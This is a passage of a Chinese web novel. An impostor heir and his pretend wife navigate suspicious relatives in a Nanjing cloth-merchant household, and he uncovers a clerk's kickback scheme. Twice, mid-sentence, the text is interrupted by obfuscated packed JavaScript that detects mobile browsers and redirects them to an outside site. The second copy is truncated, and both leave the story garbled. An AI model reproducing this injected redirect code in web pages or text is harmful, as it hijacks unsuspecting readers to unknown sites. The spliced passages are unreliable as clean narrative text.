那苏罗香显然不把她这“弟妹”放在眼里，童碧自觉没趣，双眼朝那碗里看。里头还搁了红枣，浮着几块碎冰。 燕恪见她那两只大眼睛里险能流出哈喇子来，偏捏着那汤匙搅弄得碗丁零当啷响。 一听这清脆的声，童碧更渴了，心有不甘地乜着他，“苏罗香怎么只给你不给我？难道只拿你当兄弟，不拿我当弟媳？说起来也是，她做什么看不惯我，我又没得罪过她。还是她那人就是那副德性，谁都看不惯？” 燕恪记得早上苏罗香瞧他的目光，热络得是有些异样，令他想起当年那叶家小姐叶澄雨。他从前吃过叶澄雨的亏，再碰见女人莫名的关切，总有些后怕。 他把燕窝推到童碧那头，“我不爱吃这些乱七八糟的东西，你吃了吧。” “总算你还有点良心，谢了啊。”童碧一笑，端起碗来大饮一口，等解了渴了，方慢慢用汤匙舀着吃，“这可是燕窝嗳，好东西，都说吃了能养颜。你这人一看也没吃过什么好东西，不识货。” “苏罗香见天吃，怎么没见她变得容光焕发？” 他脸上罩着片轻藐的笑意，显出一股轻狂意气，仿佛看见年少时候的他似的。自然那时候童碧还不认得他，不过听黄掌柜说起他的往事，好像他从前就该是狷狂自傲的模样。 她心恨道：这张脸就不该长在他身上！若长在别人脸上，她还可爱一爱。偏这人是一颗贪财心，两只算计眼，没半分可爱。 她轻藐闲问：“你早上帮她看账，看明白了么？” 燕恪一副成竹在胸的神气，“她那账不是算不清楚，是十二间铺子的净利少了，她和穆晚云想找出个法子来长净利，说是叫我帮着算账，其实是想叫我帮着想法子。” “那你想出什么法子了？” “账上看来，不如往年，是增了损耗的缘故，可依我看，是十二间铺子的掌柜欺负她们母女是女人，虚报损耗谋私利。”他寻思道：“我想先赁间库房，把咱们自己的那库房腾出来，找班泥瓦匠先修缮了要紧。我再借这个由头，和那些掌柜接洽接洽，先探探他们的底。” 童碧听他生意经说得头头是道，愈发鄙薄，“这下你称心了，苏家的生意给你掺和进去，你这个‘大姐姐’又如此倚仗你，你要发财了。嗳，真发财了可别忘了我啊，我陪你在这里扮恩爱夫妻，辛苦得要命。” 他挨打的都没辛苦，燕恪冷睐着她，“谁家‘恩爱夫妻’不是打就是骂？我看你扮也扮得不尽职，还有脸同我讲报答。” 童碧敛眉半晌，无词开脱，便顺理成章把罪过推给他，“我尽力了，实在你这个人欠打。” “你怎么总把我看作这等唯利是图的小人？” “你怎么总把我看作这等唯利是图的小人——”她摇晃着脑袋，低着嗓子，撇着嘴，很有节律地学了一遍他的话。 接着乜他一眼，“你要不是唯利是图，为什么偷我东西骗我银子？这会装什么仁善。我告诉你啊，你赶紧寻个由头把我休了，你不想给我辛劳费，我还一天也不想和你这样的小人在一起呢！” 语毕，她端着碗把一口燕窝全吃尽了，打了个饱嗝儿，顺便又瞪他一眼，“这事你搁在心上，别老惦记着发财。” 休妻这茬她怎么总忘不了？怕她揪着不放，他一变脸，含笑摸了帕子递去，转过话峰，“以后同春喜说话，得留点神。” 她摸着肚皮微微诧异，“春喜怎么了？” 他唯恐这大宅里的诡谲纷争将她吓住了，故作轻松道：“没怎么，谁知道你说错了什么，她转头会不会去告诉别人？留点神总是好事，免得到时候咱们俩都得吃不了兜着走。” 说到此节，又想到早上交代她的事，“宋姨娘那头，你探出点什么没有？” 童碧想起早上和兰茉的情形来，一口咬定，“宋姨娘没什么不对头的，除了长得格外好看了些。” 燕恪一脸无奈，“我是让你试探试探她到底知不知道我是假的苏宴章。” 她刚进宋兰茉那屋时，的确是记着这事，可坐着坐着，不知怎么的就抛在脑后了。 她心下是有两分惭愧，却将大手一挥，“嗨，管她知不知道，就算她知情，只要不拆穿你不就行了嚜。” 燕恪一正脸色，“倘若她明知实情却不拆穿，谁知道心里憋着什么歪主意？这个人肯定有些不对劲，你还得再打探打探，只有知己知彼，咱们才能安枕无忧。” 童碧又是一双不屑的眼：还有人主意能歪得过你？ 燕恪领会，含愧笑笑，“多提防着不是什么坏事。” 童碧只觉两眼一花，锤了锤桌子，“要我说你赶紧把我休了！省得成天在这里装模作样，不知道的还以为我投到了哪里当了奸细呢！” 燕恪懒得在“休妻”话头上同她纠缠，自躲去了卧房，想歇一觉，又怕打地铺给丫鬟进来看见，便一头倒在床上。 隔会童碧也进来，一看他先把床占了，自己没处躺，骂了他一句，见骂不起他，又在他肚皮上砸了一拳。 他像给她捶打皮了似的，硬是能挺着装死不起来，她只好愤愤不平走去墙下那摇椅上躺下。 燕恪一听得那摇椅嘎吱一响，便狠揉肚皮。待疼痛缓去，仰眼瞧，她在摇椅上仰着一张笑脸，阖着眼，睫毛随着窗外那棵早开的紫薇在颤抖着，仿佛在回味些什么。 “苏宴章是不是有个叫杜连舟的表兄？” “杜连舟？”燕恪攒起眉来，“是有这么个人，苏老太爷的亲妹子嫁去了杜家，杜连舟就是这位姑老太太的亲孙子。你问他做什么？” 童碧却难得当了回封嘴的八哥，一声不吭了。 她在椅上侧个身，向着窗户，窗外的太阳炽烈，即便阖着眼，眼前也是恍恍惚惚的一片颜色。 这说不清的颜色令她又想起早上铺了一地的“晚天霞”，那片云霞的尽头，是杜连舟微笑着的脸。 隔两日再没在苏家见过这杜连舟，童碧想向人打听，叵耐无人可问，春喜是问不得的，不敢和她多说话，只怕反被她套了话去，梅儿小楼又是新来的，也知道得不多。 正自翘着腿躺在床上苦恼，倏见帘下有人摸着碧纱橱进来了，原来是宋兰茉。 童碧忙起身，扑着衣裙，“姨娘来了。”一想反正她看不见，何必惊慌，她又大大方方来搀扶兰茉，“姨娘榻上坐。” 兰茉却不坐，“宴章到铺子里去了？” “大姐姐今日带他去看铺子和库房。姨娘找他有事？” 兰茉却摇头，“我就是随便逛逛。” 昨夜暴雨，早上虽然乍晴，却难得风凉日丽。兰茉三请不坐，嫌屋里闷，反要拉童碧去大池塘那头乘凉。 “那池叫醉鱼池，池上有座桥，桥中有个绿澜亭，咱们去那里头吃茶，又凉快，又清静。” 便由黛梦馆出来，沿小路经那缀红院，柳月斋，又经两处轩馆，至那大池塘。果然见近二亩地的一个大塘子，塘中菡萏灼灼，绿水潋滟。 原来这大池塘近大宅后门，后门外不远有条河，苏家建这宅子时，便从那河里引渠过来，将秦淮之水引入园中。黛梦馆后头也有处小池塘，这水便是从那小池塘而出。 童碧从未来过这里，在亭中眺目一望，那头案上的浓荫之中，隐隐白墙青瓦，似乎还有座大院。 “那就是老太爷住的‘鸿雅堂’。” 那老头还在外头梅兰 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因她少时卖唱，底下人议论起来多少有些鄙夷，她是长辈，童碧从不好问这种不光彩的过往。谁知她竟自己说起，说时似乎也没觉得有何可耻。 兰茉空转来眼睛，笑问：“你和宴章，这些时可还融洽？你觉得他那人如何？” “宴章——”童碧脑中警钟顿敲，猛地记起燕恪的叮嘱来，“宴章是您的儿子，是您养大的，您还不知道他的性情？” 兰茉笑道：“他那孩子，从小就乖顺斯文，只是不知待媳妇怎么样。男人待媳妇和待旁人总是不一样的，要么更坏，要么更好，他待你是好是坏？” “说好不好，说坏不坏的。嗨，我和他不过成亲几日，还不大熟。” “那他可曾对你说我什么？” 童碧惊觉兰茉有些反客为主的意思，好像在朝自己刺探燕恪，不得不提起心神来，“他说您好啊，说您很疼他，是这世上最亲的人，将来要好好孝顺您。” 兰茉脸上闪过一丝迟疑，“真这么说？” 这么试探来试探去，简直伤脑筋，童碧把脸偏到一边，一只手托住下巴，心不在焉地打岔过去，“那杜连舟什么时候再来苏家啊？” “啊？”兰茉愣下神，脸上马上浮起些厌恶，蔑道：“这种亲戚不来才好，来了就和丫鬟们拉拉扯扯。哼，我的丫鬟，岂能叫他白欺负了去？” 她房里屋里只一个丫鬟，就是那柳枣，十六.七岁，长得有几分姿色。听她话里的意思，似乎那杜连舟调戏过柳枣。 可那日童碧看来，杜连舟分明是个堂堂君子，怎么会有这些事？还真是知人知面不知心！ 她一下对那杜连舟心冷几分，悻悻的，端起桌上一海碗冰镇酸梅汤，盖住一张脸，只顾吃，没看见兰茉在旁端详着她的双眼。 刚搁下碗，就见桥头倏地走来个风姿卓绝的年轻男人，这人穿墨绿纱袍，神行倜傥，走近了瞧，五官竟有三分似真正的苏宴章，年纪也相仿，只是瞧着不如真苏宴章那般斯文，这位多半就是二房里那位晖二爷了。 童碧前几日还在燕恪面前为苏宴章抱不平，后来渐也抛闪脑后。此刻一看见这苏殿晖，心里蓦然惭愧，便将这惭愧，几经变换，都变成莫名一阵喜欢，又倾注在这位晖二哥身上。 她支颐着半边脸，直笑瞅着那苏殿晖披着一身艳阳踅进亭来，一时忘了起身相迎。 苏殿晖看她面生，见她又是同宋兰茉坐在一处，猜她是那位新进门的三弟妹，便来跟前散漫地唱个喏。 童碧适才回神，起身回礼，“晖二哥不是在染坊里忙？今日回来，是忙完了？” 殿晖眉宇微挑，“哪里就能忙完，一会还要过去，只是好些日子住在染坊里，不放心家里，回来看几位太太和姨母。”说着便转望着兰茉，“姨母，我打发人送回来的晚天霞，您可收了？” 兰茉点一点头，“收了，都说好看，只是我瞧不见，给我裁衣裳也是白费，所以送给你三弟妹了。” 童碧又忙凑来殿晖跟前嘻嘻道谢，谁知他脸上反倒却骤然淡了两分。童碧眼又不瞎，瞅见他那脸色，顿觉莫名其妙。 16.016 童碧以为，是因为兰茉将那匹晚天霞给了她，所以苏殿晖不大高兴。 不就是匹布嚜，苏家就是产布的，想不到堂堂苏二爷竟这般小器，为匹缎子同人摆脸色，真是白瞎了那一身好风度！再说那缎子也不是她强要的。 她在这头暗替自己抱屈，那头殿晖并不遮掩冷淡态度，看也不多看她，转头同兰茉笑道：“我送姨母回房去，顺便去给大伯母请安。也到了午饭时辰了，何苦在这里暴晒着？” 兰茉给他搀着朝亭外走两步后，回头叫童碧一道过去用午饭。童碧一乐，喜滋滋跑上来，将她右边胳膊搀住了。 兰茉由二人左右搀着，慢慢踅过鸿雅堂往回走，因装瞎子，只能目怔怔地睁着眼，被太阳晃得眼晕。趁殿晖童碧没留神，她赶忙猛眨几下眼睛解乏。 心恨道：两眼再这么成日干睁着，只怕以后得落下个迎风流泪的病根，苏家这口饭，也真不是好混的！ 三人走回缀红院，殿晖自往正屋去给穆晚云请安，柳枣传了午饭来，童碧兰茉两个刚端起碗，就听见门外传来殿晖含笑的声音，“姨母吃饭怎的也不等我？” “我以为你不是回房去吃，就是留下来陪着你大伯母吃。怎么，你大伯母没留你用饭？”兰茉忙叫他坐了，吩咐柳枣去取碗箸来。 殿晖坐在圆凳上，手扶在两腿上一笑，声音放低了些，怕给外院听见，“大伯母留是留了，不过我不耐烦和她吃饭，她嘴里头说来说去都是生意，没有旁的话，多没趣。” 到底穆晚云是童碧的“婆母”，当着她的面说穆晚云的坏话，这也太不拿她当回事了。她只能假装听不见，低着脖子往嘴里扒饭。 殿晖偏还冷笑着睇她一眼，“弟妹该不会转头就把我这话去告诉大伯母吧？” “啊？”童碧抬眼讪笑，“哪能呢，晖二哥把我看成什么人了？” “你就是去告诉也没什么，我敢说就敢认。就怕弟妹以后在这家里落下个爱传闲话的名声，不大好听。” 童碧端着碗，心内大大翻个白眼。 他说着，又扭头和兰茉似乎撒了个娇，“我还是喜欢陪着姨母吃饭，听姨母说些我娘年轻时候的事。” 他娘宋兰芝死时他还不会说话，全没印象，只能从兰茉这里听些只言片语。 兰茉晓得他爱听，和蔼可亲地笑了，“别看你娘从小身段苗条，却最爱吃肉，肥肉也爱吃，不知你随不随她的脾胃？” 说着，她手朝那碟东坡肉摸，童碧忙端起来让她，她搛一块，又摸着搁在殿晖碗里。 殿晖瞅一眼，不大爱吃，却问：“您也爱吃？” “有时清淡的吃多了几天，也想这口荤的吃。” 他倒一口吃了，“姨母想吃什么家里没有的，尽管告诉我，我天天在外头，回来时便给姨母捎带回来。” 正说到这里，忽听见燕恪的声气，童碧朝外间一瞧，果然燕恪进来，手上拧着包东西，一看罩屏内坐着三个人，面上略微诧异。 他先唤了兰茉一声“娘”，把手里的东西交给柳枣，吩咐她找盘子装了。随即绕来童碧旁边坐下，同殿晖含笑招呼，“还以为晖二哥近来都不得闲回家来，今日怎么回来了？” 殿晖笑道：“多日不回家，总要回来瞧瞧。” 童碧见他待燕恪也是一般淡淡的，心里登时平衡了许多。 再一寻思，方才多半是误会了人家，人家并不是小器，恐怕还是燕二郎这厮先前得罪过他，所以他待他新娶的三奶奶一样没好脸。燕二这厮，不经意间得罪个把人还不是手到擒来？ 想着，便把这过错归咎到燕恪头上，忍不住狠睐他一眼，这贼狗果然走到哪里都讨人嫌。 燕恪如今在她鄙夷的目光下可做到视若无睹，全不当回事，仍与殿晖寒暄，“晖二哥那批出岔子的料子能按时交货么？” “再几日就出货了，不劳三弟操心。”殿晖勉强笑了一笑，便转来给兰茉搛菜。 兰茉打从燕恪进门，就没说两句话，心里老是惴惴的。素日燕恪常用一双冷眼审视她，她是假装看不见又不是真看不见，可夜深人静一想起他那目光，就后怕得辗转反侧，恨不得跳起来烧两炷香祈平安。 她当然知道他是假的苏宴章，她却不敢拆穿，因为她也不是真的宋兰茉。 一时柳枣端了个盘子进来，兰茉因为慌张，嘴一溜，脱口而出，“我正想这盐水鸭吃，宴章可巧就买回来了。” 童碧与殿晖一时没听出不对来，只燕恪目光忽然凌厉，“娘怎么知道我带回来的是盐水鸭？” 兰茉忙笑，“闻着味了呀，眼神不好，这耳朵鼻子就格外灵。” 盐水鸭是冷食，会有这么大味道？她那鼻子未免太灵了些。燕恪敛回目光微笑，向旁给童碧搛了块鸭肉。 童碧却起身将条鸭腿放在兰茉碗里，又将另一个给了殿晖，也不说什么，只是望着殿晖笑。 此情此景，燕恪由不得生出丝“一腔热情空付与狗”的落落不得志，心头一酸，自点头笑起来，“三奶奶在咱们家这些时日，总算学会些咱们家的规矩了，吃饭终于没再只顾自己风卷残云，也晓得照顾起桌上的人来了。” 童碧少不得怒瞪他一眼，同时在桌下狠狠踩他一脚。他倒益发能忍，面不改色，只眉毛禁不住拧了一下。 兰茉笑了笑，“吃饭吃得香，又有哪里不好？等三奶奶病了吃不下饭的时候，你又该急了。” 燕恪趁童碧松了脚，忙把自己的脚挪得远些，口里仍讥讽，“娘不知道，我们这位三奶奶壮得似头牛，轻易不会病，若病了，平日那么些饭不是白吃了？” 说得殿晖也笑了，童碧一看，觉得丢了脸面，心里把燕恪恨了八百个来回。 只待散回房来，她揪着他便要打，可巧丫鬟端茶进来，她只得丢开手，自往卧房去，打起门帘子，却回头朝他递了个眼色。 他们是“新婚夫妻”，双双在卧房时，丫鬟从不冒入，生怕撞见什么。因此二人有什么要紧话，都是躲在卧房里说。 燕恪明知她这时叫他进去，无非是要打他，他又不傻，且在暖阁里慢慢吃茶。 磨蹭来磨蹭去，童碧打起帘子，不知哪里学的，朝他娇嗲地笑一声，“宴章，你进来呀，我有悄悄话和你说。” 那凳上小楼面皮一红，搁下绣绷来推他进屋。 这门帘子刚落下，童碧脸色一变，一拳捶在他背上，捶得他弯下腰，便揪住他后脖那片衣襟，一径将他丢去床上。 燕恪恐她还要打，忙蜷了身子抬胳膊挡住脑袋，“姑奶奶，我又有哪里惹你不痛快了？！” “方才桌上，你把我比作牛，是什么意思！” 他稍稍让开胳膊，略笑笑，“我不过是打个比方，本意是赞你身子健壮。” “放屁！我看你就是故意当着人叫我难堪。” “误会误会——”他眼睛一转，渐渐理直气壮，“不对，先前我也没少说你吃得多，你都不曾往心里去，怎么今日却生了这么大的气？你别是看人家苏殿晖相貌好，动了什么不该动的心思了吧？” 童碧不自在地连眨了两下，别过身去，撇下嘴，背起双手慢慢笑了，“但凡长得好的男人，我看了都喜欢。我这人，既不爱财，也不爱权势地位，就这点喜好。怎么，碍你事了？” 燕恪站起身，在旁歪着脸瞅她须臾，上牙一挫下牙，笑意冷挂在嘴角，“不碍我什么事，不过今时不同往日，眼下你是苏家的三奶奶，苏殿晖是二哥，你再喜欢，也得管住你的眼睛你的心，别露出那些恬不知耻的言语行径。” “我不知耻我的，又碍你什么事？” “我好歹是你的夫君，怎么不碍我事？” 童碧眼一横，连连拍打他的胸膛，“你搞搞清楚，我给你装老婆，是为了易家，也帮了你！我又没拿你什么好处，不欠你的！难道为了做场戏，我耽搁一辈子啊？我来日可还要嫁人的，你什么时候休我，给我个准日子！” 一说又说到这话头上，他给她拍得连连咳嗽，退到妆台前来，反手撑住案沿，一转话峰，“你说话就说话，打人做什么？” 他向妆台上仰着身子，童碧朝前俯着身子，在门帘子底下望过去，两个人身子叠身子，贴得紧紧的，不知在做些什么。 苏罗香进来时，可巧瞧见这情形，心里冷不丁一酸，又有一丝痒，总之不大喜欢。她吭地咳一声，那没规矩的三奶奶方慌忙让开了。 旋即燕恪也直起身子，摸着鼻子尴尬笑笑，“大姐姐。” 他这份尴尬更令人浮想联翩，两个人不分黑天白夜地在屋里闹，男人家就罢了，一个女人家，也这般不害臊。想着，罗香一壁点头答应，一壁冷瞟了童碧一眼。 童碧也跟着喊大姐姐，她只鼻子底下轻轻答应一声，脸上半冷不热的，自走去榻上坐了，睃着这卧房，目光最后落到床铺上。 那铺上被子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962879|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽叠得好好的，却有些乱了褶皱，怪不得将三个丫鬟都打发到廊下坐着。 她脑中虽不厌其烦暗骂着二人不知羞，心里却止不住地一热，“三弟在那里站着做什么，来坐啊，你的屋子你反站着？” 燕恪便缓缓走到榻上来坐了，“大姐姐这会不来，我也正要去寻你，还有几间铺子没去过，闲着也是闲着，不如咱们下晌再去瞧瞧。” 十二间铺子，早上罗香刚领着他到过五间，向各间布庄的掌柜引介了他，又去瞧了那间库房，转得人腿酸，说得人口干舌燥。 她扭头见窗户关着，便十分体贴地将窗屉挨个撑起来，“这么热的天，怎么把窗户关着？你们也不嫌燥。你瞧，外面这么大的太阳，还出去转，你不嫌晒得慌？” 燕恪笑道：“太太既然让我帮着看看布庄这两年的行情，我自该不辞劳苦。大姐姐若不想去，就交代个人领我去也是一样的。” 罗香抬眼一瞧，童碧还在那妆案旁靠墙杵着，这里说话也不睬她，她也不走，真是个没眼色的，还不如与他出门去。便唤来春喜，叫她往门房吩咐套马车。 童碧听见叫套车，忙跑来榻前，两眼忽闪忽闪睃二人，“也带我出去吧。” 燕恪才刚受了她的打，心里还存着点气，口气便不大耐烦，“你去做什么？我和大姐姐是去铺子里谈正事。” “我去买把扇子，天热了，我也要把扇子扇扇风。我搭你们的马车，到卖扇子的店前，你们把我放下就是了，不耽误你们的事。” 罗香恨不能一把将她丢出苏家，敷衍道：“扇子库房里有的是，叫丫鬟去找管事的要。” 童碧也不耐烦央求他们，扭身便说：“那我自己去好了，我又不是没长腿。” 这可不是大户人家少奶奶的做派，燕恪转了口风，“南京城你不熟，如何自己去得？叫他们另备一顶轿子跟着，你先坐我们的车，下车后换轿，叫梅儿和我的小厮跟着你，你买完东西，到铺子里头找我们，咱们一道回家。” 出个门又是车又是轿，又是丫鬟又是小厮的，童碧很是看不惯这骄奢淫逸作威作福之风，大手一挥，“不消要人跟着，也不要什么轿子，桐乡县的大街小巷还不是随便我走，这南京城还能吃了我不成？” 他瞟见苏罗香那一脸的烦嫌冷淡，语气反而益发纵容，“好好好，就依你，你想如何就如何，只要别迷了路。” 自从进了苏家，童碧除那日送易老爹去码头坐船，再没出过门。连那日也是在车内打瞌睡，这南京城的繁华半点不曾体味。 难得来一趟，总要领略领略本地风光才是，她只把脑袋扭向车窗外，手打着窗帘。燕恪坐在她旁边，她的背仿佛是靠在他怀里。 罗香冷眼在对过瞧着，气不打一处来，咕哝一声，“乡下来的到底是乡下来的——” 童碧听见了也装没听见，一张脸仍向着窗外，大大翻了个白眼。 燕恪心里反有点不高兴，他与童碧是同乡，说童碧乡下来的，不也是在说他？ 他故意把一只手放在童碧肩头，向她肩上歪去一张笑脸，语气宠溺，“这南京城的街市热不热闹？” 这街比桐乡县的大街要宽上许多，四通八达，两边楼宇鳞次栉比，商铺星罗棋布，到处是摆摊的，挑货的，另有游人如潮，车马辏集。童碧自幼跟着爹娘辗转多处地方，却从没来过如此繁华之都。 她看得兴起，不曾留意燕恪搭在她肩上的手，以及他语气里的异样，只兴兴点头。 “身上带的钱够么？”他又体贴道：“要是没带足，就叫铺子里记账，让他们往家去结钱。” “买把扇子能费几个钱？”童碧带了个荷包，装了些散碎银两，特地回头，把荷包掏出来在他眼前掂一掂，“我预备买完扇子，再找家有名的酒楼，痛快吃一顿。” 罗香在对过嗤笑，“弟妹这么好吃，是小时候打过饥荒？” 这话燕恪自己也常说，可他这人是只许州官放火，不许百姓点灯，听不惯苏罗香说，便故意将童碧的胳膊轻轻捏一捏，笑道：“大姐姐别看她能吃，却不大容易发胖。我倒喜欢她多吃些，眼下是瘦了点，只怕将来生养孩儿遭罪。” 童碧只觉胳膊上的皮肉一跳，目怔怔瞅着他，鸡皮疙瘩从他捏的那块肉起，迅速朝周身蔓延个遍。 她此刻忽然想就车窗翻下去，一道烟溜开老远。做戏就做戏，这泼贼犯得着说这些叫人头皮发麻的话么！ 17.017 这一路上，苏罗香为彰显自己的富裕不俗，与童碧细说素日奢华的吃穿用度，单是扇子，就讲了个不厌其烦。 “这扇子啊，也很讲究，纨扇有棕竹的，湘妃的，也有象牙的，用的布也分绸的缎的，刺绣还是缂丝，这些价钱都不一样。还有折扇，要是遇上那些有名画真迹的扇子，也能弄得人倾家荡产。” 说着，把手中的扇子在童碧面前翻着，“我这把呢就很平常，湘妃竹的，扇面是苏州顶有名的绣工绣的，我看嚜，也不过如此。” 童碧一看那扇子上绣着对比翼鸟，笑了，“大姐姐，这是人家成亲时才绣的花样吧？大姐姐难道也要嫁人了？” 真是哪壶不开提哪壶，燕恪底下用脚碰一碰她的脚。 童碧不会其意，没眼色地说下去，“大姐姐定了谁家？是当官的还是做买卖的？相貌如何？依我看，家境还在其次，要紧是相貌要好，要是找个丑的，将来生个丑孩子——” 燕恪眉头暗皱，向旁踢了她一下，岔过话去，“方才大姐姐说的那些扇子，你想要把什么样的？” 童碧不以为然，“我不讲究那些，能扇就行了嚜，我打算买把蒲扇。” 罗香总算拣着空子鄙薄回去，“你娘家也是开布店的，怎么你使这些东西反不讲究？瞧你穿衣裳也似乎不大讲究，年纪轻轻的，常穿这些颜色沉重的，难道家里的好布料只卖人，不给家人穿？” 燕恪恐她嘴快，忙接话，“大姐姐有所不知，敏知一向懂事节俭，那些鲜亮的料子，她舍不得穿，劝岳丈岳母留着卖人，久而久之，就只爱穿这些颜色沉重的了。” 言讫他偏又多此一举地添上一句，“不过她模样好，穿什么都好看。” 童碧又一下毛骨悚然，震恐地瞄了他一眼。这人扯谎简直脸不红心不跳，非但神色坦然，眼神中还流露出一股浓情如水的恬淡之意。 不觉间，他竟还横出条胳膊，揽住了她的肩。她险有吓得屁滚尿流之势，身子骨却莫名有些麻酥酥的。 那罗香却看得心里莫名起火，简直不要脸！旁若无人做出这些没廉耻的动作！不过动作是燕恪做的，她心里却只恨不能将童碧丢到车外去。 好在未几到了一间专卖扇子的铺子，童碧先告辞跳下车，罗香直打帘子瞧着她虎虎生风地进去人家店内，方叫小厮驾车往宝盛街铺子里去。 一时车内静下来，燕恪只觉罗香那双眼睛伴着马车韵节，在他脸上摇来晃去。他不自然地咳了声，稍侧过身子，只管扭脸朝窗户外看着。 隔会罗香发笑，“三弟这媳妇，也不知易家是如何教的。我们这样的人家，岂有一个妇人独自在街上乱走的道理？连个下人也不带着，说句不中听的，要是她在外头——三弟也太纵容她了，简直不像个大丈夫。” 中间隐去的话，燕恪猜了个大概，便放下窗帘子，疏疏落落地笑了一笑，“她是小户人家的姑娘，在街上走动习惯了。许多规矩她不懂，往后还要劳烦大姐姐多多指点她。” 罗香抬抬眉眼，轻藐道：“就怕她不肯听我的。你瞧见没有，她待我有些淡淡的，好像不大喜欢我这个做姐姐的，难道是我哪里不防，得罪了她？” “没有的事，大姐姐别多心，她不过莽直了些，不大会说话，别见怪。” “你净向着她说话，娶了媳妇忘了娘，姐姐就更不放心上了——” 燕恪看她那双兜兜转转火辣辣的眼睛，听她这幽怨委屈的口气，猜到她待他生出些莫名情愫，只是碍于这“姐弟”关系，大概没往那深了想，所以对童碧的态度不自觉地就坏。 但他很清楚他们之间原不是姐弟，却不必道明，也不必回应，正好借她这几分倾慕，让她说服大太太，叫他一点点涉足到苏家的生意中来。 他微微一笑，睇着她，“姐姐自然永远都是姐姐，是至亲的人，旁人如何能比？不然，这么热的天，我顶着满头汗跟大姐姐在街上转悠什么？还不是为了帮大姐姐和太太解决眼下的困境。” 说话间，及至宝盛街上来，因这宝盛街上周遭有许多富贵人家的宅邸，苏家便在这条宝盛街的街头街尾，分别开着两家大布庄，一间就占着三四间铺面。 二人巡到彤云绸缎庄来，只见偌大间铺子，左右两面墙上都堆得五颜六色的丝绸锦罗，货架前各有柜台，柜台后各站着好几个伙计。 中间又有两排货架，把这一间铺子隔成三间，三间顶头都摆着一套桌椅供客人歇脚吃茶。 “唷！大小姐来了。” 右面柜后含笑跑来个伙计，躬背哈腰，年纪却不大，约也是二十来岁，脸也长得有三.四分俊朗。 罗香用扇遮住嘴一笑，指了指燕恪，“这是三爷，我领他到铺子来看看，认识认识各位掌柜。于掌柜呢？” 这伙计指着右角那门帘子道：“于掌柜在内堂里头款待一位客人。”说着，努一努嘴，口气略带酸意，“我都同这位客人谈好了，要五匹雕花天鹅绒，都要付定钱了，谁知于掌柜又将人请去坐着，说了半天，此刻却还没付银子呢。” 他领着燕恪罗香往大门旁那角门里进去，里头另有内室。燕恪在椅上坐下，听他的语气，仿佛在说于掌柜多此一举抢了他的功劳，他不禁斜上眼打量这伙计。 正看见罗香对伙计嫣然一笑，“你放心，我心里有数，你素日的能干，我和太太都知道。” 这伙计连声道谢，踅出内室倒茶去了。 燕恪看过账，知道这十二间铺子里的伙计，每月无固定奉钱，是拆账算。谁做下这单买卖这单赚的钱便同店内一九拆账。 这伙计说的五匹雕花天鹅绒的买卖，少说也能卖出十二.三两，若算在这伙计头上，他单是这宗买卖，这月就能拿一两多银子。 掌柜的每月有固定奉钱，暂不拆账，到年底再与东家拆这店的一年的总账。其实即便于掌柜去谈了，也不妨碍这伙计拆账领月钱。这伙计方才那几句抱怨，无非是怕于掌柜抢他的功劳。 但凡做伙计的，谁不想在东家面前搏功劳，将来东家晋他为掌柜也未可知。 罗香转来燕恪旁边椅上坐下，欠身在桌上，望着那伙计背影笑说：“他叫黄令安，别看他只是个伙计，谈生意做买卖却十分能干，许多客人来了都只找他，他又周到，又会说话，这彤云店里，月月数他赚得最多。” 燕恪在家时从未听她如此夸赞过宅中下人，到底是因这黄令安的确能为，还是因他长得算几分人才，这就不得而知了。 反正据他看，这二人说话时眉宇间藏着两分隐秘的亲昵。 少坐片刻，见那于掌柜送了客人，打帘子进了这间内室来，燕恪问及这于掌柜的意思，看出他有些为难来，便借口要罗香替他选块料子做靴子，将罗香支到外头，才问这于掌柜： “我听说那匠头师傅要价要得高，所以太太一直没答应。几位掌柜在街市上混迹这些年，胜友如云，怎么不向太太举荐别的泥瓦班，非同他们这班人僵持什么？” 于掌柜笑了笑，“三爷有所不知，现下这班泥瓦匠是本店伙计黄令安荐来的。您才刚进来，见过这人没有？” 他朝门帘望一眼，“就是那个有些出众的年轻的伙计？” “就是他。”于掌柜点头一笑，“按说我不该背后说人什么，可这个黄令安，的确能说会道，很讨妇人家喜欢。他荐的人，大姑娘都没话说，诸位掌柜还敢说不好？” “太太不知此事？” “太太一心想叫大姑娘学做生意，自从老太爷把这十二间布庄交给大房，太太便让大姑娘学着打理，她老人家只听大姑娘回禀事宜，什么不都是由大姑娘说给她听，恐怕还不晓得这情形。三爷您说，我们做掌柜的要是跑到家里去告诉太太，倒成了告状一般，且人家是亲娘俩——真叫我们这些做掌柜的左右为难。” 燕恪慢呷着茶，“这个黄令安是什么来头？” “一个伙计，能有什么大来头，只是仗着讨人喜欢，会做买卖，大姑娘又看重他，所以格外得意些。” 怪道苏罗香在家推三阻四，不肯换泥瓦班，原来是暗中偏私。 这黄令安荐了这泥瓦班来，自然不是白荐，当中定要拿不少抽头，这价钱越高，肯定抽头就拿得越多。 燕恪了然点头，出来到内堂那角门下，打起帘子静静一瞧，那伙计黄令安正拿了好些料子在里头供苏罗香拣选，两人眉眼相递，有说有笑。 他看了半日，方含笑进去，对这黄令安说：“我要做一双鞋，店里有现成好手艺的师傅，就不拿回家做了，在这里做好给我送到家去。” 这黄令安殷勤应承，“三爷只管放心，等做好了，小的亲自捧去。” 罗香笑着起身，“三弟，只管交给他，他也有些不俗的见识，做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吃到一半，饭时渐至，只听外头递嬗热闹起来，热闹间却夹着一丝女人的啜泣声，又伴着个老妇讨饶央求之声，似乎近在间壁。 童碧嚼咽渐缓，握着条鹅腿贴近左面碧纱橱来瞧。合该这碧纱橱上端是做空的，蒙着两层藕荷色细纱，隐约可见隔壁是五个男人，有主有仆，正拽拦着一名怀抱琵琶的老妇人和一个十七.八的女子嬉笑调戏。 